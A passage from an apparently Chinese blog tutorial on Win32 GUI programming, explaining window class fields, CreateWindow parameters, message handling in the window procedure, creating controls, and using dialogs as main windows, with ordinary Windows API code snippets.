class="built_in">MAKEINTRESOURCE</span>(IDI_LUOGU));</span><br></pre></td></tr></table></figure><h4 id="LoadIcon"><a href="#LoadIcon" class="headerlink" title="LoadIcon"></a>LoadIcon</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">WINUSERAPI</span><br><span class="line">HICON</span><br><span class="line">WINAPI</span><br><span class="line"><span class="title function_">LoadIconW</span><span class="params">(</span></span><br><span class="line"><span class="params">    _In_opt_ HINSTANCE hInstance,</span></span><br><span class="line"><span class="params">    _In_ LPCWSTR lpIconName)</span>;</span><br></pre></td></tr></table></figure><p>从参数 hInstance 句柄对应的实例的资源文件中加载参数 lpIconName 对应的图标资源的句柄。</p><p>这里就是从当前程序资源文件里加载一个图标的句柄。</p><p>这个函数也有两个版本，不过不需要我们关心，MAKEINTRESOURCE 会帮助我们区分字符集。</p><h4 id="MAKEINTRESOURCE"><a href="#MAKEINTRESOURCE" class="headerlink" title="MAKEINTRESOURCE"></a>MAKEINTRESOURCE</h4><p>这是一个宏，用于转换资源 ID。</p><p>资源的 ID（如：IDI_LUOGU），也是一个宏定义，实际上就是一个数。但是微软的各种 Load 函数需要的参数是字符串。这个宏就是起到一个强制转换的作用：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> MAKEINTRESOURCEA(i) ((LPSTR)((ULONG_PTR)((WORD)(i))))</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MAKEINTRESOURCEW(i) ((LPWSTR)((ULONG_PTR)((WORD)(i))))</span></span><br></pre></td></tr></table></figure><p>由于：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">#ifdef UNICODE</span><br><span class="line">#define MAKEINTRESOURCE  MAKEINTRESOURCEW</span><br><span class="line">#else</span><br><span class="line">#define MAKEINTRESOURCE  MAKEINTRESOURCEA</span><br><span class="line">#endif // !UNICODE</span><br><span class="line"></span><br><span class="line">#ifdef UNICODE</span><br><span class="line">#define LoadIcon  LoadIconW</span><br><span class="line">#else</span><br><span class="line">#define LoadIcon  LoadIconA</span><br><span class="line">#endif</span><br></pre></td></tr></table></figure><p>所以只要同时使用 LoadIcon 和 MAKEINTRESOURCE 就可以了。</p><h4 id="8、-hCursor"><a href="#8、-hCursor" class="headerlink" title="8、 hCursor"></a>8、 hCursor</h4><p>窗口使用的鼠标指针样式。</p><p>这里的 LoadCursor 和上面的 LoadIcon 同理，nullptr 在这里是指使用系统的资源，IDC_ARROW 就是默认的指针样式，看定义能发现这就是一个参数定死的 MAKEINTRESOURCE 宏。</p><h4 id="9、-hbrBackground"><a href="#9、-hbrBackground" class="headerlink" title="9、 hbrBackground"></a>9、 hbrBackground</h4><p>窗口背景颜色。</p><p>注意必须是一个 HBRUSH 类型的句柄，如果你和我环境相同的话，那么在 winuser.h 的 9349 行往下应该能发现一堆宏定义。这些都是可以使用的颜色：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_SCROLLBAR         0</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_BACKGROUND        1</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_ACTIVECAPTION     2</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_INACTIVECAPTION   3</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_MENU              4</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_WINDOW            5</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_WINDOWFRAME       6</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_MENUTEXT          7</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_WINDOWTEXT        8</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_CAPTIONTEXT       9</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_ACTIVEBORDER      10</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_INACTIVEBORDER    11</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_APPWORKSPACE      12</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_HIGHLIGHT         13</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_HIGHLIGHTTEXT     14</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_BTNFACE           15</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_BTNSHADOW         16</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_GRAYTEXT          17</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_BTNTEXT           18</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_INACTIVECAPTIONTEXT 19</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> COLOR_BTNHIGHLIGHT      20</span></span><br></pre></td></tr></table></figure><p>至于给这些预定义颜色 +1 的操作，微软就这么定义，我也不知道为啥。</p><p>如果找了一圈发现上面没有你喜欢的颜色，那么也可以使用 CreateSolidBrush 函数配合 RGB 宏创建自己的画刷。但需要注意这个函数创建的画刷需要使用 DeleteObject 函数释放！至于在哪里释放，我没用过这个函数，但在前面讲过的的消息循环（while 语句）被跳出（结束）后，主函数 return 前释放，应该是个不错的选择。</p><h4 id="10、-lpszMenuName"><a href="#10、-lpszMenuName" class="headerlink" title="10、 lpszMenuName"></a>10、 lpszMenuName</h4><p>定义窗口使用的菜单栏，直接 MAKEINTRESOURCE + 资源文件里 menu 部分定义的菜单的 ID 就行了。如果是 0，就代表这个窗口没有菜单。</p><p><img src="https://z3.ax1x.com/2021/04/04/cKooUe.png" alt="实际编译完的菜单"></p><p><img src="https://z3.ax1x.com/2021/04/04/cKob8A.png" alt="VS2017 资源编辑器中的菜单"></p><p>如果你想用纯代码方式创建菜单，请参考：<a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createmenu">https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createmenu</a></p><h4 id="11、-lpszClassName"><a href="#11、-lpszClassName" class="headerlink" title="11、 lpszClassName"></a>11、 lpszClassName</h4><p>窗口类名。</p><p>为窗口类定义一个字符串的名字。</p><p>模板这里是定义了一个全局变量，然后从资源文件里加载了一个字符串作为窗口类的名字。</p><h4 id="12、-hIconSm"><a href="#12、-hIconSm" class="headerlink" title="12、 hIconSm"></a>12、 hIconSm</h4><p>窗口的小图标，和上面的 hIcon 的使用方式没啥区别。</p><h3 id="return-RegisterClassExW-amp-wcex"><a href="#return-RegisterClassExW-amp-wcex" class="headerlink" title="return RegisterClassExW(&amp;wcex);"></a>return RegisterClassExW(&amp;wcex);</h3><p>注册这个定义好的窗口类并返回。</p><h3 id="3、InitInstance"><a href="#3、InitInstance" class="headerlink" title="3、InitInstance"></a>3、InitInstance</h3><p>创建窗口，保存当前实例句柄。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hInst = hInstance;</span><br></pre></td></tr></table></figure><p>保存当前实例句柄。</p><p>hInst 是一个全局变量，hInstance 是操作系统传给我们的参数，是局部变量。</p><h3 id="CreateWindowW"><a href="#CreateWindowW" class="headerlink" title="CreateWindowW"></a>CreateWindowW</h3><p>真正创建窗口的函数。</p><p>这个函数很有意思，它本身就是一个宏定义。这大概是因为它指向的 CreateWindowExW 本身有一些一般用不到的参数，所以微软弄了一个简化版。</p><p>注：上述函数依然有对应的 A 结尾的版本。</p><p>看看参数：</p><h4 id="1-、-lpClassName"><a href="#1-、-lpClassName" class="headerlink" title="(1)、 lpClassName"></a>(1)、 lpClassName</h4><p>创建窗口使用的窗口类名，就是之前定义的那个字符串。</p><p>微软这么设计大概是因为有一些系统保留的窗口类，字符串形式方便使用。</p><h4 id="2-、-lpWindowName"><a href="#2-、-lpWindowName" class="headerlink" title="(2)、 lpWindowName"></a>(2)、 lpWindowName</h4><p>窗口名。</p><p>如果这个窗口有标题栏，那么标题栏上也会显示这个字符串。</p><h4 id="3-、-dwStyle"><a href="#3-、-dwStyle" class="headerlink" title="(3)、 dwStyle"></a>(3)、 dwStyle</h4><p>窗口样式。</p><p>注意不要和上面的窗口类样式弄混了，这个一般以 WS 开头。</p><p>此处模板给的参数是 WS_OVERLAPPEDWINDOW，这个就是通常窗口所使用的样式，微软为了方便，做了个宏定义的集合：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> WS_OVERLAPPEDWINDOW (WS_OVERLAPPED     | \</span></span><br><span class="line"><span class="meta">                             WS_CAPTION        | \</span></span><br><span class="line"><span class="meta">                             WS_SYSMENU        | \</span></span><br><span class="line"><span class="meta">                             WS_THICKFRAME     | \</span></span><br><span class="line"><span class="meta">                             WS_MINIMIZEBOX    | \</span></span><br><span class="line"><span class="meta">                             WS_MAXIMIZEBOX)</span></span><br></pre></td></tr></table></figure><p><a href="https://docs.microsoft.com/en-us/windows/win32/winmsg/window-styles">https://docs.microsoft.com/en-us/windows/win32/winmsg/window-styles</a></p><p>上面是微软官方对所有窗口样式的说明。</p><h4 id="4-5-、-x-y"><a href="#4-5-、-x-y" class="headerlink" title="(4/5)、 x/y"></a>(4/5)、 x/y</h4><p>希望窗口建立时窗口左上角的屏幕坐标。</p><p>当 x 为 CW_USEDEFAULT，y 为 0 时，系统会自动让窗口出现在一个合适的地方。</p><h4 id="6-7-、-nWidth-nHeight"><a href="#6-7-、-nWidth-nHeight" class="headerlink" title="(6/7)、 nWidth/nHeight"></a>(6/7)、 nWidth/nHeight</h4><p>窗口的大小（长 / 宽）。</p><p>和上面 x/y 同理，填 CW_USEDEFAULT 时系统会自动设置大小。</p><p>不过这里可能会不太方便：设置控件位置 / 往窗口上绘图时都只能使用绝对的窗口坐标，不支持自动改变坐标 / 使用相对比例。</p><h4 id="8-、-hWndParent"><a href="#8-、-hWndParent" class="headerlink" title="(8)、 hWndParent"></a>(8)、 hWndParent</h4><p>窗口的父窗口。</p><p>我们要创建一个独立的窗口，因此填 nullptr 代表没有。</p><h4 id="9-、-hMenu"><a href="#9-、-hMenu" class="headerlink" title="(9)、 hMenu"></a>(9)、 hMenu</h4><p>窗口所使用的菜单。</p><p>刚才在窗口类里已经定义了菜单，因此这里填 nullptr 就好。</p><h4 id="10-、-hInstance"><a href="#10-、-hInstance" class="headerlink" title="(10)、 hInstance"></a>(10)、 hInstance</h4><p>当前实例句柄。</p><h4 id="11-、-lpParam"><a href="#11-、-lpParam" class="headerlink" title="(11)、 lpParam"></a>(11)、 lpParam</h4><p>传给窗口过程函数的参数，会附带在窗口创建时的消息 WM_CREATE 里。</p><p>如果没有需要传的参数，一般填 nullptr 就行。</p><h4 id="12-、- 返回值"><a href="#12-、- 返回值" class="headerlink" title="(12)、 返回值"></a>(12)、 返回值 </h4><p> 创建好的窗口的句柄。</p><p>注意区分 “当前实例句柄” 和 “窗口句柄” ！</p><hr><p>继续下段代码：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!hWnd)</span><br><span class="line">   &#123;</span><br><span class="line">      <span class="keyword">return</span> FALSE;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>验证窗口是否被成功创建，配合前文提到的代码可实现 “如果窗口创建失败就自动退出” 的功能。</p><h3 id="ShowWindow"><a href="#ShowWindow" class="headerlink" title="ShowWindow"></a>ShowWindow</h3><p>显示窗口。</p><p>顾名思义，让创建好的窗口显示出来。</p><p>这里终于用上了前面提到的 nCmdShow。</p><h3 id="UpdateWindow"><a href="#UpdateWindow" class="headerlink" title="UpdateWindow"></a>UpdateWindow</h3><p>更新一次窗口，用于让窗口里除了控件以外的东西正常显示。</p><h3 id="return-1"><a href="#return-1" class="headerlink" title="return"></a>return</h3><p>返回真，代表窗口成功创建。</p><h3 id="4、-WndProc"><a href="#4、-WndProc" class="headerlink" title="4、 WndProc"></a>4、 WndProc</h3><p>到这里几个用于创建窗口的函数就都结束了，接下来是窗口过程函数，也就是用于为窗口添加内容，处理用户操作的函数。</p><p>前面应该提过，这个函数不需要我们自己调用，它是由前面的消息循环（while）中的某个 API 函数调用的。每当程序收到一个消息，这个函数就会被运行一次。</p><p>看看参数：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">LRESULT CALLBACK <span class="title">WndProc</span><span class="params">(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)</span></span></span><br></pre></td></tr></table></figure><h4 id="hWnd"><a href="#hWnd" class="headerlink" title="hWnd"></a>hWnd</h4><p>窗口句柄。</p><h4 id="message"><a href="#message" class="headerlink" title="message"></a>message</h4><p>收到的消息正文。</p><h4 id="wParam-lParam"><a href="#wParam-lParam" class="headerlink" title="wParam / lParam"></a>wParam / lParam</h4><p>收到的消息的附加内容。</p><hr><p>在模板里，这个函数里面就是一个 switch 语句，用于判断收到的消息是什么。</p><p>介绍 4 个最基础的消息，剩余的可以去 MSDN 查找。</p><p>主要的一些消息：<a href="https://docs.microsoft.com/en-us/windows/win32/winmsg/window-notifications">https://docs.microsoft.com/en-us/windows/win32/winmsg/window-notifications</a></p><p>更多的内容(不止关于消息)：<a href="https://docs.microsoft.com/en-us/windows/win32/winmsg/windowing">https://docs.microsoft.com/en-us/windows/win32/winmsg/windowing</a></p><h4 id="WM-COMMAND"><a href="#WM-COMMAND" class="headerlink" title="WM_COMMAND"></a>WM_COMMAND</h4><p>当程序中的任意控件被触发（如用户点击按钮）都会收到这个消息，需要依靠附加内容判断具体被触发的控件。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int wmId = LOWORD(wParam);</span><br></pre></td></tr></table></figure><p>wmId 的值就是控件的 Id，因此继续用 switch 判断就可以了。</p><p>模板里的 Id 因为代表的都是在资源文件里定义的内容（菜单，对话框之类的），所以都是定义在资源文件里的。以后我们自己使用代码创建按钮等控件时，选择 Id 的值以及为了方便阅读代码而定义宏之类的操作都需要我们自己来做。</p><h4 id="WM-PAINT"><a href="#WM-PAINT" class="headerlink" title="WM_PAINT"></a>WM_PAINT</h4><p>窗口重绘消息。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">PAINTSTRUCT ps;</span><br><span class="line">HDC hdc = <span class="built_in">BeginPaint</span>(hWnd, &amp;ps);</span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> 在此处添加使用 hdc 的任何绘图代码...</span></span><br><span class="line"><span class="built_in">EndPaint</span>(hWnd, &amp;ps);</span><br></pre></td></tr></table></figure><p>这一堆东西都是为了在创建出的窗口中绘图而准备的。</p><p>我并不太了解 GDI 的各种函数，因此读者可以自行查阅 MSDN，并在注释：<br>// TODO:<br>之后，EndPaint 之前编写自己的绘图代码。</p><p>注意，GDI+ 需要额外头文件和静态链接库，具体是：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;objidl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;gdiplus.h&gt;</span> </span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">&quot;gdiplus.lib&quot;</span>) </span></span><br></pre></td></tr></table></figure><p>C++ 中，GDI+ 的命名空间是 Gdiplus。</p><p>微软没有对 C 语言提供 GDI+ 支持。</p><h4 id="WM-CREATE"><a href="#WM-CREATE" class="headerlink" title="WM_CREATE"></a>WM_CREATE</h4><p>窗口被创建时收到的消息。</p><p>这个消息被收到时，CreateWindow 函数还没有返回。</p><h4 id="WM-DESTROY"><a href="#WM-DESTROY" class="headerlink" title="WM_DESTROY"></a>WM_DESTROY</h4><p>窗口将被销毁时收到的消息，最常见的情况是用户点击了窗口右上角的 X。</p><p>此时窗口还没被销毁，可以在这里做一些保存之类的操作。</p><p>前面讲消息循环的时候我提到过有个函数会发送真正的退出消息 WM_QUIT，就是下面这个：</p><h4 id="PostQuitMessage"><a href="#PostQuitMessage" class="headerlink" title="PostQuitMessage"></a>PostQuitMessage</h4><p>它的唯一一个参数，我前文有提到会保存在 msg.wParam 里并最终 return 给操作系统。一般没出错的程序传 0 就行。</p><hr><p>Windows 有非常多的消息，有些消息我们在程序里用不到，因此需要让操作系统帮我们处理。switch 的 default 分支承担了此工作。</p><h4 id="DefWindowProc"><a href="#DefWindowProc" class="headerlink" title="DefWindowProc"></a>DefWindowProc</h4><p>这个函数的 4 个参数对应了窗口过程函数的 4 个参数，直接把窗口过程函数的形参作为这个函数的实参传进去就可以。</p><hr><p>补充一个函数：</p><h4 id="DestroyWindow"><a href="#DestroyWindow" class="headerlink" title="DestroyWindow"></a>DestroyWindow</h4><p>窗口将要被关闭时会收到 3 个参数，按先后顺序排列是：</p><p>WM_CLOSE WM_DESTROY WM_QUIT</p><p>DefWindowProc 如果收到了 WM_CLOSE，就会调用 DestroyWindow 给窗口发送 WM_DESTROY，我们收到 WM_DESTROY，再调用 PostQuitMessage 让程序收到 WM_QUIT 进而退出消息循环。</p><p>如果我们想自定义一个控件用于退出程序，但 WM_DESTROY 里又有需要在关闭前运行的代码，那么就可以在 WM_COMMAND 的处理逻辑中调用 DestroyWindow，达到使用自定义方式关闭程序的同时不浪费 WM_DESTROY 中的代码的效果。</p><hr><p>非常开心啊，写 gu 了半年，终于把创建窗口的基本流程写完了。接下来是一些更高级的内容。</p><h2 id="四、- 通过控件让用户与程序交互"><a href="# 四、- 通过控件让用户与程序交互" class="headerlink" title="四、 通过控件让用户与程序交互"></a>四、 通过控件让用户与程序交互 </h2><p> 控件，是用户与程序交互的途径，Win32 程序可以使用下列几大类控件：</p><p><img src="https://z3.ax1x.com/2021/05/03/gmR6O0.png" alt="一些控件"></p><p>通过设置不同的样式，可以做出非常多种不同的控件。</p><p>正式编程前，先介绍微软官方的一个小工具：<a href="https://www.microsoft.com/en-us/download/details.aspx?id=4635">Control Spy</a>，这是一个方便开发者尝试控件的软件，功能非常强大，读者可以自行尝试研究一下。</p><hr><p>前面提到过，Win32 中，每个控件都是一个窗口，因此，显而易见的，创建控件的函数也是 CreateWindow。</p><p>为了方便，这里直接介绍 CreateWindowEx。</p><h3 id="CreateWindowEx"><a href="#CreateWindowEx" class="headerlink" title="CreateWindowEx"></a>CreateWindowEx</h3><p>lpWindowName，x，y，nWidth，nHeight，hWndParent，hInstance，lpParam 参数的功能均与 CreateWindow 一致，这里不再重复。注意创建控件的时候，hWndParent 填刚才创建好的窗口的句柄，x / y 是相对窗口左上角的坐标。</p><h4 id="dwStyle"><a href="#dwStyle" class="headerlink" title="dwStyle"></a>dwStyle</h4><p>首先，因为控件是子窗口，因此要加上 WS_CHILD。</p><p>其次，Windows 将一些相近的控件放到了一个类里面，因此，在 Control Spy 里能看到这个参数随着控件的改变还可以填一些别的值。大多数值的意义可以通过宏定义的名称理解，因此读者可以通过 Control Spy 自己试一试各个值的含义。记得改变值以后要点击右边的 Apply 按钮。</p><h4 id="dwExStyle"><a href="#dwExStyle" class="headerlink" title="dwExStyle"></a>dwExStyle</h4><p>窗口的扩展样式，在 <a href="https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms908193(v=msdn.10)">MSDN</a> 里有详细介绍可选的值的作用。  </p><p>如果用不上这个参数的话，请直接使用 CreateWindow。除了这个扩展样式的参数外，这两个函数剩下的参数表示的意义相同。</p><h3 id="lpClassName"><a href="#lpClassName" class="headerlink" title="lpClassName"></a>lpClassName</h3><p>窗口类名，创建控件时则是微软预定义的控件类名。</p><p>很遗憾，我并没有找到微软对这个控件类名的汇总，因此，介绍一个新软件：Spy++。</p><p>这是 VS 自带的一个软件，我们主要用到它的搜索功能。</p><p>在 VS 上方菜单栏中找到“工具”-“Spy++”，就能打开这个软件。打开以后内容很复杂，我们不用管，继续在新打开的软件的菜单栏里找到“搜索”-“查找窗口”，点击它。</p><p><img src="https://z3.ax1x.com/2021/05/04/guyktJ.gif" alt="guyktJ.gif"></p><p>上面的 GIF 图为剩余操作步骤，按步操作即可。</p><h3 id="hMenu"><a href="#hMenu" class="headerlink" title="hMenu"></a>hMenu</h3><p>控件的唯一 ID。</p><p>微软认为控件不需要菜单，因此这个参数就被用来标识控件了。</p><p>消息循环中 WM_COMMAND 消息只能告诉我们有控件被触发，而附加消息里的值就是在这个参数里指定的。</p><p>当此参数用于标识控件时，传入的值必须是整数，且需要 (HMENU) 强制转换类型。</p><p>为了增强程序可读性，可以定义宏定义来代表 ID，如：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> IDC_MYBTN 1234</span></span><br></pre></td></tr></table></figure><p>由于这个 ID 是我们指定的，因此，上面例子中的 1234 可以是任意的数，只要确保没有重复即可。</p><hr><p>如果留心的话，读者应该能发现上面创建出来的控件是“拟态”风格（就像现实中突出来的一个按钮一样），而更多的程序的控件则是蓝边框，鼠标移上去有渐变效果的版本。</p><p>这其实可以在链接的时候选择的，如果你的编译环境高于 VS 2015，那么在源文件最上方加入下面这行代码，就可以让控件使用上面我提到的新样式了。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(linker,<span class="string">&quot;\&quot;/manifestdependency:type=&#x27;win32&#x27; \name=&#x27;Microsoft.Windows.Common-Controls&#x27; version=&#x27;6.0.0.0&#x27; \processorArchitecture=&#x27;*&#x27; publicKeyToken=&#x27;6595b64144ccf1df&#x27; language=&#x27;*&#x27;\&quot;&quot;</span>)</span></span><br></pre></td></tr></table></figure><hr><p>关于控件的创建就是这些内容，读者可以参考 VS 的模板代码，通过在 WM_COMMAND 消息处理代码的 switch 语句中增加分支，来响应自己的控件。</p><p>分支的值和前面创建控件时定义的标识 ID 的值需要完全对应。</p><h2 id="五、- 使用对话框快捷的创建窗口与控件"><a href="# 五、- 使用对话框快捷的创建窗口与控件" class="headerlink" title="五、 使用对话框快捷的创建窗口与控件"></a>五、 使用对话框快捷的创建窗口与控件 </h2><p> 用 CreateWindow 创建控件其实是一件很麻烦的事，所以可以拖控件创建窗口的对话框就出现了。</p><p>观察一下 VS 的模板，应该可以发现“About”这个窗口就是用对话框创建的。</p><p>这项技术对于创建简单窗口来说非常方便，唯一的缺点是对高分屏和系统缩放的支持很糟糕（Windows 传统），会出现文字模糊等情况。</p><p>下面来具体说一下用对话框作为主窗口的过程。</p><h3 id="1、- 创建一个对话框"><a href="#1、- 创建一个对话框" class="headerlink" title="1、 创建一个对话框"></a>1、 创建一个对话框</h3><p><img src="https://i.loli.net/2021/05/09/rsS5yUfG6dMgi7Q.gif" alt="创建对话框.gif"></p><p>参照上图创建一个对话框（上传此图时 imgtu 出了点问题，因此换用 sm.ms 图床，速度可能较慢，见谅）。</p><p>可以看到 VS 为我们准备了功能非常丰富的可视化编辑器，读者可自行尝试用此工具设计程序的界面。</p><p>MFC 的控件虽然显示在了控件工具箱区域里，但是是不可以使用的（会导致窗口无法被显示）。</p><h3 id="2、- 将对话框作为主窗口"><a href="#2、- 将对话框作为主窗口" class="headerlink" title="2、 将对话框作为主窗口"></a>2、 将对话框作为主窗口 </h3><p> 对话框不涉及窗口类的内容，所以直接在 WinMain 里用 CreateDialog 函数创建就行。</p><p>这种情况下，WinMain 里只包括 CreateDialog，ShowWindow 和关于消息循环部分的代码（对话框创建窗口的消息循环部分的代码与传统方式创建窗口的代码完全相同）。</p><h4 id="CreateDialog"><a href="#CreateDialog" class="headerlink" title="CreateDialog"></a>CreateDialog</h4><p>这也是一个嵌套宏定义，默认指向 CreateDialogW。</p><p>看看参数：</p><h4 id="hInstance"><a href="#hInstance" class="headerlink" title="hInstance"></a>hInstance</h4><p>当前实例句柄，用 WinMain 的形参 hInstance 就行。</p><h4 id="lpName"><a href="#lpName" class="headerlink" title="lpName"></a>lpName</h4><p>对话框的 ID，使用 MAKEINTRESOURCE 宏创建，如：</p><p>MAKEINTRESOURCE(IDD_MYDLG)</p><p>IDD_MYDLG 部分请参考上面的动图填写创建出来的对话框的真实 ID。</p><h4 id="hWndParent"><a href="#hWndParent" class="headerlink" title="hWndParent"></a>hWndParent</h4><p>对话框的父窗口。</p><p>我们要把对话框当作主窗口使用，因此请在此参数位置填写 GetDesktopWindow()，直接使用此函数获取桌面的窗口句柄并作为参数使用。</p><h4 id="lpDialogFunc"><a href="#lpDialogFunc" class="headerlink" title="lpDialogFunc"></a>lpDialogFunc</h4><p>对话框过程函数。</p><p>请填写函数名，但末尾不要加括号，并且需要 (DLGPROC) 强制转换类型。</p><hr><p>对话框也需要过程函数，要求参数和返回类型是：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">INT_PTR <span class="title">Dlgproc</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">  HWND unnamedParam1,</span></span></span><br><span class="line"><span class="params"><span class="function">  UINT unnamedParam2,</span></span></span><br><span class="line"><span class="params"><span class="function">  WPARAM unnamedParam3,</span></span></span><br><span class="line"><span class="params"><span class="function">  LPARAM unnamedParam4</span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span></span><br><span class="line"><span class="function"></span>&#123;...&#125;</span><br></pre></td></tr></table></figure><p>Dlgproc 可以自由填写，在上面的 lpDialogFunc 中指定即可。</p><p>对话框的过程函数与传统窗口的过程函数处理代码几乎完全相同，处理控件消息的方式也一样。区别大约有三点：创建操作，删除操作，让消息由系统代处理。</p><h4 id="对话框窗口过程函数中让系统代处理消息"><a href="# 对话框窗口过程函数中让系统代处理消息" class="headerlink" title="对话框窗口过程函数中让系统代处理消息"></a>对话框窗口过程函数中让系统代处理消息 </h4><p> 传统窗口中，我们使用 DefWindowProc 函数忽略消息，但在对话框中，万万不可这样做。</p><p>对话框中的操作其实更简单：如果我们处理了消息，就让窗口过程函数返回 TRUE；如果我们打算忽略这条消息，让系统处理它，那么直接返回 FALSE 就行。</p><p>注意：TRUE 和 FALSE 都是宏定义，不要用 C++ 自带的 bool 类型的 true / false 或者 C 语言新标准的 _Bool 类型代替。</p><h4 id="WM-INITDIALOG"><a href="#WM-INITDIALOG" class="headerlink" title="WM_INITDIALOG"></a>WM_INITDIALOG</h4><p>对话框完全创建完成后会收到这条消息，此时可以对对话框进行操作。</p><p>注意：此消息的返回值带有特殊含义，当返回 TRUE 时，键盘焦点会自动移动到这个对话框上，当返回 FALSE 时则不会改变键盘焦点。</p><h4 id="对话框的关闭消息"><a href="# 对话框的关闭消息" class="headerlink" title="对话框的关闭消息"></a>对话框的关闭消息 </h4><p> 此消息在 WM_SYSCOMMAND 中。</p><p>当对话框收到 WM_SYSCOMMAND 消息，且 wParam 等于 SC_CLOSE 时，就代表用户执行了关闭对话框的操作。</p><p>此时可以用 DestroyWindow 函数 或 PostQuitMessage 函数关闭对话框并结束消息循环。</p><hr><p>关于对话框的内容就介绍到这里，读者可参考 VS 模板中 About 窗口的代码与传统窗口的过程函数，来处理可视化制作出的对话框上的各种控件的消息。</p><p>（对话框分模态对话框和非模态对话框，本节介绍的是非模态对话框，即 CreateDialog 函数执行完后会立刻返回。模态对话框的创建要比非模态对话框简单，具体代码参看 VS 模板的 About 窗口即可。）</p><h2 id="六、- 使用 -EasyX- 在窗口中绘图。"><a href="# 六、- 使用 -EasyX- 在窗口中绘图。" class="headerlink" title="六、 使用 EasyX 在窗口中绘图。"></a>六、 使用 EasyX 在窗口中绘图。</h2><p>鉴于 EasyX 作者面对网络的极度保守的思想，不再保留这部分内容。</p><p>当然实现这个功能还是很简单的，直接复制 dc 就行。</p><h2 id="七、- 高 -DPI- 支持"><a href="# 七、- 高 -DPI- 支持" class="headerlink" title="七、 高 DPI 支持"></a>七、 高 DPI 支持 </h2><p> 